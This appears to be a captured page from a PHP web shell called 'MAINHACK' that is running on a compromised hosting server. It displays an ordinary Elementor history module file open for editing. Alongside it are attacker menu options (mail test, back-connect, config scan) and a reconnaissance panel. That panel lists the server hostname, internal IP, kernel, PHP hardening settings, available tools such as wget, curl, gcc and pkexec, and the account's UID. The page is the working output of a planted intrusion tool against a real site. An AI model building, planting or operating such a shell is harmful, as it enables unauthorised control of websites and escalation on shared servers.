[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: module.php
<?php namespace Elementor\Modules\History; use Elementor\Core\Base\Module as BaseModule; use Elementor\Plugin; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Elementor history module. * * Elementor history module handler class is responsible for registering and * managing Elementor history modules. * * @since 1.7.0 */ class Module extends BaseModule { /** * Get module name. * * Retrieve the history module name. * * @since 1.7.0 * @access public * * @return string Module name. */ public function get_name() { return 'history'; } /** * Localize settings. * * Add new localized settings for the history module. * * Fired by `elementor/editor/localize_settings` filter. * * @since 1.7.0 * @access public * * @param array $settings Localized settings. * * @return array Localized settings. */ public function localize_settings( $settings ) { $settings = array_replace_recursive( $settings, [ 'i18n' => [ 'history' => __( 'History', 'elementor' ), 'template' => __( 'Template', 'elementor' ), 'added' => __( 'Added', 'elementor' ), 'removed' => __( 'Removed', 'elementor' ), 'edited' => __( 'Edited', 'elementor' ), 'moved' => __( 'Moved', 'elementor' ), 'pasted' => __( 'Pasted', 'elementor' ), 'editing_started' => __( 'Editing Started', 'elementor' ), 'style_pasted' => __( 'Style Pasted', 'elementor' ), 'style_reset' => __( 'Style Reset', 'elementor' ), 'enabled' => __( 'Enabled', 'elementor' ), 'disabled' => __( 'Disabled', 'elementor' ), 'all_content' => __( 'All Content', 'elementor' ), 'elements' => __( 'Elements', 'elementor' ), ], ] ); return $settings; } /** * @since 2.3.0 * @access public */ public function add_templates() { Plugin::$instance->common->add_template( __DIR__ . '/views/history-panel-template.php' ); Plugin::$instance->common->add_template( __DIR__ . '/views/revisions-panel-template.php' ); } /** * History module constructor. * * Initializing Elementor history module. * * @since 1.7.0 * @access public */ public function __construct() { add_filter( 'elementor/editor/localize_settings', [ $this, 'localize_settings' ] ); add_action( 'elementor/editor/init', [ $this, 'add_templates' ] ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.17 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619